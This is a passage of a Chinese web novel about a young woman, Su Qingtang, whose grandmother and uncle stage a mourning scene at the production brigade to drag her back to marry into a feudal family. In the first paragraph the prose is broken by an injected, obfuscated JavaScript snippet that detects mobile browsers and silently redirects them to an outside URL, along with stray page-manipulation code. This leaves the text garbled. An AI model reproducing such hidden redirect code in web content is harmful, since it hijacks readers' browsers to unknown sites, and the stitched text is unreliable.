“天杀的啊,俺宝贝闺女嫁到你们胜利大队,年纪轻轻就一尸两命,俺连个亲孙女都接不回去,你们胜利大队欺负我们孤儿寡母啊!” 赵爱男坐在地上拍着大腿干嚎,李德志戴着孝,不知道的还以为他是来给谁奔丧的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364273|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群里有人大声嗤笑:“赵爱男,谁不知道你男人是被你害死的?当初要是舍得花钱给他看病,你能成孤儿寡母?” 也有人对着李德志喊:“李德志,别装模作样了,你妹妹都埋几天了,今天突然披麻戴孝过来想干嘛?” 李德志脸色阴沉:“今天要是不把苏青棠交出来,我跟我娘就撞死在你们大队门口!” 嚯! 这话一出口,看热闹的人纷纷后退,生怕他待会儿撞死了血溅到自己身上。 王婶的丈夫许大强正巧路过,他叉着腰呵斥:“李德志你发什么癫?你跟你老娘今天死在我们大队,你媳妇咋办?我可听说,你媳妇发誓一定要给你们李家生个宝贝孙子,生不出来就一直生,你们李家是想断后?” 许大强在矿场上班,矿场工人都是从周边大队招过去的青壮年。平时哪个大队出了什么新鲜事,这群男人比自家婆娘知道消息更早更快。 李德志充耳不闻,见到苏青棠出来,直接扑通一声跪在她面前。 苏青棠被吓了一跳,迅速躲到李大娘身后。 她从李大娘身后探出脑袋:“你什么意思?” 别以为她不知道,长辈给晚辈下跪可是折寿的,这老东西心眼忒坏了。 李德志心里涌起一阵不耐烦,就该趁着夜黑风高偷偷把苏青棠绑回去,哪用得着这么麻烦。 赵爱男看见外甥女出来,就跟见着了金子,立马从地上爬起来,连滚带爬地想去抱苏青棠的大腿。 苏青棠见状转身往院子里跑,赵爱男在后面追,一副不抓到她誓不罢休的架势。 周围人纷纷帮忙阻拦,赵爱男就跟疯了似的,指甲一个劲儿的往别人身上招呼,最后是孙萍在人群中悄悄伸出脚,让赵爱男摔了个狗啃泥。 赵爱男趴在地上撒泼,扯着嗓子大喊大叫:“青棠,我是你亲外婆,你的亲人能害你吗!当初我给你娘找了多好的人家,嫁过去就是享清福,她非嫌人家年龄大,宁愿跟家里断绝关系,嫁给你那个穷爹吃苦,结果早早就死了。我养她那么大,你娘是白眼狼,你也要学她当小白眼狼是不是!” 苏青棠拨开围观的人群走出来,站在赵爱男面前,刻意拉开距离,让她碰不到自己:“我娘的选择没错,你骂她是白眼狼,你自己又做得多体面?你给她找亲事,不过是为了给你儿子娶媳妇,为你们李家传宗接代,跟我娘有什么关系?” “我不会跟你们回去,我已经结婚了。就算你们想把我嫁到陈家,陈家也不会要一个离婚的女人。” 苏青棠把这部电视剧翻来覆去看了不下十几遍,男主陈永强的父母是什么德性她一清二楚。 陈家老两口虽说不算纯粹的坏人,但绝对是封建糟粕遗留的产物,思想极尽迂腐:女人贞洁大过天,新婚夜要在床上铺白毛巾验落红,重男轻女刻进骨子里、三从四德挂嘴边、大婆教的道理一套一套、家里来客女人吃饭不能上桌、总之所有能想到的封建陋习,在陈家体现的淋漓尽致。 剧中女主每次产生动摇想离婚,都被公婆劝住,翻来覆去无非就说她是明媒正娶,外面的狐媚子再怎么闹,也影响不到她正房的地位。后面又用孩子拿捏她,女主本就善良,慢慢被婆婆洗脑,彻底困在了陈家。